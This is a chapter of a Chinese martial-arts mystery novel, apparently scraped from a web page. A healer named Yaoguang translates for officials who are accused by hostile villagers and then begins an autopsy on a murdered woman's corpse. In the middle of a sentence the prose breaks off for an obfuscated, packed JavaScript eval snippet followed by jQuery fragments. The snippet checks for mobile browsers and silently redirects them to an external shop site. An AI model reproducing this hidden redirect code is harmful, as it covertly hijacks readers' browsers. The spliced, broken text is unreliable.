9. 第 9 章
    听到瑶光的话,赵富贵呆了数息,猛地站起身。

    “姑娘所言当真!?”

    “好好的骗你做什么。”瑶光奇怪地看了他一眼。

    “实话告诉你吧,我来这儿,就是为了找一种叫杜桑的奇毒。这寒毒换做一般大夫还真治不了,不过你们运道好,遇上我了,”她微微一笑,说道,“对我来说,也就是费点功夫的事。”

    “好好好!”赵富贵面带喜色,一脸说了三个好字,还冲瑶光躬身行了个大礼,“那就拜托瑶光姑娘了!诊金这边……”

    “不要诊金。”

    赵富贵一怔:“啊?”

    瑶光当然不是来做慈善的,如果能把赵傀体内的寒毒祓除出来,对缓解她身上毒瘢的蔓延也有好处。而且……

    “我需要关于奇毒的情报,”瑶光没具体说毒瘢的事,毕竟刚认识不久,她对这两人仍有所提防,“你们是官家的人,路子应该比我广,我帮你老大治病,你们帮我找消息,我们各取所需。”

    “没问题!”赵富贵一口答应下来。

    瑶光挑眉问道:“不需要问问你家少爷的意见?”

    “反正也不是什么大事,这个我都能做主,”赵富贵冲她挤眉弄眼,“再说了,姑娘你又救了九爷一命……”

    “少来,我说了,各取所需而已。”瑶光没好气道,“还有我警告你们,不管你们来南诏寨里做什么,别连累我,听到没?”

    赵富贵立刻道:“那是肯定。”

    见天色不早,赵傀还没醒,他便提议回去再详谈,背着赵傀,和瑶光一起往寨子的方向走去。

    半路上,那只乌鸦又飞了回来,嘎嘎叫道:

    “富贵!危险!危险!”

    瑶光以为它是在叫着玩,谁知赵富贵却面色一变:“不好!寨子里肯定出事了!”说完便加快脚步冲了回去。

    瑶光跟在他后面,疑惑地跑到寨子的入口处,就见赵富贵被一群杀气腾腾的寨民围在当中,领头的那个穿着乌蛮贵族的服饰,手持兽骨长矛,矛头直指他的双眼:“把你背上的人交出来!”

    “不然,死!”

    他用的是当地土话,赵富贵根本听不懂,急得一头汗。

    他余光瞥见瑶光从后面过来,忙喊道:“瑶光姑娘,快过来帮个忙!他们叽里咕噜说的啥,我听不懂啊!”

    瑶光本来没打算管这事。

    这帮寨民一看就知道来者不善,虽然她刚和赵富贵谈了合作,但八字没一撇,也没必要沾一身腥。

    赵富贵这一嗓子吼出来,在场所有人立马把脑袋转向了她这边,领头的看到她,更是露出了扭曲的神情——这人就是毕摩的孙子,叫阿呷,上次瑶光来时和他也结过梁子。

    瑶光暗道不好。

    但众目睽睽之下没办法脱身,只好假笑着转过身来。

    “他们说昨晚寨里又死了人,让你把背上的头目交出来,不然就要把你们的人全都杀了。”

    “又来一口黑锅?艹,还没完没了了!”

    赵富贵大怒。

    但形势比人强,面对一帮来势汹汹的当地土著,他也只能耐下性子对瑶光说:“你帮我跟他们说,他未婚妻肯定不是我们杀的,凶手是谁,我们也不知道,八成是背后有人搞鬼。说不定就是他家的仇家干的,有话好好说,别动不动喊打喊杀的……”

    瑶光听了,暗自摇头。

    这赵富贵一看就知道是混江湖的老油条,说起场面话来头头是道。

    可惜这里不是中原地区,他不懂毕摩家族在这里的地位,和乌蛮人对信仰的看重。

    上次她只是帮忙治疗了几个寨里的病人,就被毕摩和他孙子盯上了,因为在这里,只有毕摩才“有资格”传承医术。

    她能全须全尾地进山一趟再出来,全靠杜罗哥的力保。

    瑶光讨厌这对爷孙,其中一个原因,就是他们太傲慢了。

    总觉得自己有神灵保佑,生来不同。

    赵富贵的猜测固然合情合理,但阿呷是不可能听进去的。

    “你们这次来了多少人?”

    瑶光悄悄问他。

    不管怎么说,乌蛮六诏与中原朝廷,目前都还处于井水不犯河水的状态,乌蛮人忌惮朝廷的实力,朝廷觉得乌蛮是个难啃且吃力不讨好的骨头,两方都不希望打破这个平衡。

    如果赵傀他们带来的人多,倒也不是没有谈判的余地……

    “九爷这次是秘密出行,”赵富贵也压低了声音,“加上我和老陆,一共就三人。但老陆他会易容,这几天九爷让我俩每天都扮作不同的人,在寨里进进出出,所以他们一直觉得咱们来的人很多。”

    “易容?居然还真有这样的功夫。”

    瑶光说着,又忍不住瞥了一眼他背上的赵傀。

    这人还挺聪明的。

    这样一来,阿呷估计就摸不清楚他们的具体人数,担心万一漏了一个跑回去报信怎么办,不敢轻易对他们动手。

    “但只有三人的话,就麻烦了,”她皱眉道,“南诏部光青壮年就有上万人,双拳难敌四手,还是不能硬拼。你们有没有官府的印章或者调令?有的话赶紧拿出来,我给他们说说。”

    赵富贵急道:“我们又不是……哪来的什么调令?”

    她和赵富贵当着阿呷的面用中原官话交头接耳,阿呷听不懂,只觉得他们是在挑衅,神色愈发阴沉。

    眼看着就要发作时,一道还带着几分虚弱的声音响起:

    “女尸。”

    “什么?”

    瑶光下意识往说话人的方向看去。

    赵傀终于清醒了,他拍了一下赵富贵的肩膀示意对方把他放下,与瑶光对视一眼,平静道:“跟他们说,去尸鼠洞,验尸。”

    瑶光把这句话翻译给了阿呷,顺便简单说了一番他们见到女尸的经过,顿时引来一片哗然。

    “英珠找到了?”

    “她不是已经葬在山崖上了吗,怎么会出现在那里……”

    “这些天寨里一到晚上就闹鬼,难道真是她?”

    “这世上本没有鬼,”赵傀开口道,漆黑的双眸注视着领头的阿呷,“除非,有人心里有鬼。”

    “真相如何,你们只需要亲自去看一眼就知道了。”

    瑶光睁大眼睛,赵傀竟然也会说当地的语言!

    阿呷阴沉地盯着他:“外族人,你什么意思?别以为我真不敢杀你们!”

    他陡然拔高声音,上前一步,长矛横在了赵傀的脖颈上。

    赵富贵的脸色一冷,正要出手,被赵傀拦住了。

    “如果我真是凶手,你要杀我,我没意见。但这件事你我说了都不算,”他说着,看向一旁抱臂看好戏的瑶光,“得这位姑娘说了才算。”

    瑶光:“……啊,我?”

    不是,关她什么事啊!

    虽然她内心腹诽,但最后还是提上工具,跟着他们一起来了。

    没办法,赵傀给的实在是太多了。

    他给了瑶光三两黄金,作为此次验尸和翻译的报酬。

    ——现付。

    “先说好,我可没当过仵作,只懂一些验尸的皮毛,”顶着赵富贵羡慕到眼睛发绿的目光,瑶光用力咬了一口金子,发觉是真的后她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345135|152663||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑得格外灿烂,“而且她死亡的时间太长了,不一定能发现什么。”

    赵傀颔首:“尽力而为就好。”

    瑶光偏要和他唱反调:“要是尽力而为了,还是徒劳无功呢?”

    “凡事不过尽人事,听天命六个字。”赵傀摸了摸手腕上的红绳铜钱,淡淡说道,“徒劳无功,功败垂成,也是天命。”

    瑶光站在他旁边看得清楚,这三枚铜钱不是她想象中的古钱币,竟然只是本朝发行的三枚普通宝文钱,目前还能在市面上使用。

    她反问道:“听赵半仙的话,想必是已经胸有成竹了。那你怎么不直接问问老天爷,凶手是谁?”

    赵傀微微摇头:“没有必要。”

    瑶光还想说些什么,但赵傀打断了她:“到了。”

    一行人停下脚步,阿呷呆呆注视着坑底腐烂的女尸,双眼通红,嘴唇颤抖,瑶光看了,倒还真有几分可怜。

    英珠和他的婚约,她也是知道的。

    上次来的时候杜罗哥就和她提过,说英珠和阿呷从小青梅竹马一起长大,还都是南诏部的贵族。英珠的身份没有阿呷高贵,但阿呷执意要娶她,毕摩也就默许了这份婚事,算是皆大欢喜吧。

    谁知再来时,两人已是天人永隔。

    其中一个,还是死于非命。

    赵富贵叹道:“红粉骷髅,白骨皮肉,色即是空空即是色啊。”

    瑶光斜眼看着他:“你没读过书吧?”

    赵富贵干笑一声,显然是被瑶光说中了。

    他撇开脑袋,忽然注意到赵傀也在默默看着他,愣了愣,忽然明白了什么,苦着一张脸又下去了一趟,把女尸背了上来。

    “他奶奶的,满身都是蛆!这味儿比半年没打扫的茅坑还臭,呕——”

    他一上来就躲到一边吐去了。

    高度腐烂的尸体让所有人都毛骨悚然,唯有阿呷丝毫不嫌弃,噗通一声跪在旁边,丢下长矛,如野兽一般痛苦嚎哭起来。

    他捶胸顿足道:“为什么,英珠,为什么要抛下我一个人,我那么爱你……你怎么舍得……”

    “倒是个难得的痴情人。”

    虽然讨厌阿呷,但瑶光也不得不感叹了一句。

    赵傀闻言,不置可否地看了她一眼。

    瑶光以为他是在催促自己尽快开始,心想你出钱你老大,于是解开包袱,从里面拿出一把骨刀和剪子。

    正准备验尸时,一只手却死死抓住了她的手腕——

    “你要干什么?”阿呷目眦欲裂地盯着她,大声质问道。

    其余寨民看着他们的眼神也颇为不善。

    瑶光心里一咯噔,心道坏了,她忘记了一件极为重要的事情:

    这里的人们流行崖葬,尸体必须要完整放入棺材下葬。

    剖腹验尸这种行为,在他们看来就是侮辱尸体,是不可饶恕的罪过。

    阿呷见她迟迟不说话,神情愈发狰狞。

    他用一种近乎怨毒的憎恨眼神盯着瑶光,仿佛是她杀了自己的未婚妻似的,握着瑶光手腕的五指也越发用力,几乎要捏碎她的骨头。

    瑶光疼得脸色发白,正当她忍无可忍打算翻脸扇人时,赵傀绕到阿呷身后,在他肩膀的肩髎穴上点了一下。

    所有人都清楚看见了,赵傀用的力气并不大,但阿呷却大叫一声,手臂瞬间无力下垂。

    他跪在地上,捂着酸痛难忍的胳膊,惊疑不定地回头看着赵傀:“你用了什么巫术!?”

    “只是让你冷静一些,”赵傀冷淡道,“手又没断,乱叫什么?”

    瑶光噗嗤一声笑了出来。